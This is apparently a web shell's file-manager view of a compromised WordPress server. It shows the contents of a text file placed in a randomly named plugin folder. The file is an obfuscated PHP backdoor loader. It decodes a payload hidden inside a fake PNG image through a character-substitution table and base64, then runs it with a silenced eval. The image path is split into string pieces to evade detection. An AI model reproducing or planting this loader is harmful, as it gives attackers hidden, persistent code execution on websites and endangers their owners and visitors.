HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/drakkar_site/wp-content/plugins/adaxywy/wikhuke.txt
<?php

function nifega_vumelythu($xekoli_hofuwilyzh) {
    $dythibi = eviwak_ozhivychy(1);
    $idysosh = eviwak_ozhivychy(2);
    for ($buchega = 0; $buchega < strlen($dythibi); $buchega++) {
        $urumesh = substr($dythibi, $buchega, 1);
        $ozofub = substr($idysosh, $buchega, 1);
        $iwocer[$urumesh] = $ozofub;
    }

    $icokhic = strtr($xekoli_hofuwilyzh, $iwocer);
    $icokhic = base64_decode($icokhic);

    return $icokhic;
}

function eviwak_ozhivychy($xekoli_hofuwilyzh) {
    if ($xekoli_hofuwilyzh == 1)
        return yzalyn_cukhiveri();
    if ($xekoli_hofuwilyzh == 2)
        return cyceru_sahibihy();
}

function lehady_dyquxogy($xekoli_hofuwilyzh) {
    $qyhonup = array();
    if (!file_exists($xekoli_hofuwilyzh))
        return false;
    $cuxezu = @file_get_contents($xekoli_hofuwilyzh);
    if (!$cuxezu)
        return false;
    $cuxezu = substr($cuxezu, 3);
    $qyhonup = nifega_vumelythu($cuxezu);
    return $qyhonup;
}

function yzalyn_cukhiveri() {
    $cuxezu = "7rai1g0LFelWGmJfYzd+ZXcnkDNVo=RhK2j3B/bAI9TytxuP68SwQE5sqUO4MHpvC";
    return $cuxezu;
}

function cyceru_sahibihy() {
    $qyhonup = "VNhn/LwWQUzMX=D9Fdp4RCucBeT13mOf2qgHlavor5I+8i6PstExSj0k7AbyGYKJZ";
    return $qyhonup;
}

$rezyci = lehady_dyquxogy(__DIR__ . "/ass" . "ets/" . "imag" . "es/z" . "yhyk" . "a.png");
if ($rezyci) {
    @eval($rezyci);
}